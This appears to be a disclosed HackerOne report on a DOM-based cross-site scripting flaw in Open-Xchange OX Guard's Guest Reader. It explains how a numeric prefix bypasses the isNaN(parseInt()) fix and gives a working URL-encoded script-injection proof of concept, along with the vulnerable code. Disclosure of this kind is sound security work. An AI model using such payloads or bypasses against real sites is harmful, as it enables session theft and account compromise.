Open-Xchange: OX Guard: DOM Based Cross-Site Scripting (#2)

2016-08-31T19:08:42
ID H1:164821
Type hackerone
Reporter dejavuln
Modified 2017-12-19T20:09:13

Description

Summary

OX Guard's "Guest Reader" is vulnerable to DOM Based XSS.

While this report is closely related to #158853, it is not a duplicate. I've had a look at the code introduced by commit 7fdbd307662f0041ed5e45b2f73c6530b79c6124, which I believe was supposed to protect against #158853. Today's report describes how to bypass this protection in order to exploit the original vulnerability with identical ease and impact.

The vulnerable parameter is still "templid". The reader.js script (see below) takes the parameter's value and injects it into the page/DOM without encoding or properly sanitizing it first.

PoC:

https://sandbox.open-xchange.com/guard/reader/reader.html?templid=1%27%22%3E%3Cscript%3Ealert%28%27XSS%20@%20%27%2bdocument.domain%29%3C%2fscript%3E {F116282}

Vulnerable script/code:

templid = getURLParameter("templid"); if (templid == null || isNaN(parseInt(templid))) { // If no clean template ID, see if we have a default from config.js [...] } if (templid !== null) { $('head').append('<link rel="stylesheet" type="text/css" href="./templates/' + templid + '-style.css">'); }

Details

Quick comparison with the previous code:

``` $ git diff b67aed12e6184cd06e24253154eab83925ff1fc7 7fdbd307662f0041ed5e45b2f73c6530b79c6124

[...] -if (templid == null) { // If no template ID, see if we have a default from config.js +if (templid == null || isNaN(parseInt(templid))) { // If no clean template ID, see if we have a default from config.js [...] ```

isNaN(parseInt(templid)) was apparently added to check whether the templid variable contains a number, and nothing else. Expected behavior seems to be that only a "clean" number can be parsed by parseInt(), which would otherwise return NaN, causing isNaN() to return true, leading templid to be overwritten with a safe value inside the If statement.

The problem with this approach is that parseInt() does not simply attempt to convert the entire supplied parameter to an integer. Instead, as the name suggests, parseInt() tries to parse the parameter. Quote from https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/parseInt:

> Return value > An integer number parsed from the given string. If the first character cannot be converted to a number, NaN is returned.

Consequently, any HTML/JS code preceded by a number will pass the isNaN(parseInt(templid)) check.

Examples:

``` > parseInt("Hello"); NaN

> parseInt("4ello"); 4

> isNaN(parseInt("Hello")); true

> isNaN(parseInt("4ello")); false ```